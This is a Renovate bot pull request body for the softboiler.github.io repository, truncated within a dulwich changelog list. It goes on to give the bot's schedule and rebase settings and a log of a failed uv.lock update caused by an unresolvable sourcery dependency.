• Implement advanced Git object specification support by @​jelmer in jelmer#1966
• Add rust implementation of create_delta by @​jelmer in [jelmer

[!IMPORTANT]
✂ PR body was truncated to here.

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[renovate]

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

• any of the package files in this branch needs updating, or
• the branch becomes conflicted, or
• you click the rebase/retry checkbox if found above, or
• you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: uv.lock

warning: The `tool.uv.dev-dependencies` field (used in `/tmp/renovate/repos/github/softboiler/softboiler.github.io/pyproject.toml`) is deprecated and will be removed in a future release; use `dependency-groups.dev` instead
Using CPython 3.11.17
error: No solution found when resolving dependencies for split (markers: python_full_version >= '3.13')
  cause: Because there is no version of sourcery==1.21.0 and softboiler-github-io:dev depends on sourcery==1.21.0, we can conclude that softboiler-github-io:dev's requirements are unsatisfiable.
         And because your workspace requires softboiler-github-io:dev, we can conclude that your workspace's requirements are unsatisfiable.

hint: While the active Python version is 3.11, the resolution failed for other Python versions supported by your project. Consider limiting your project's supported Python versions using `requires-python`.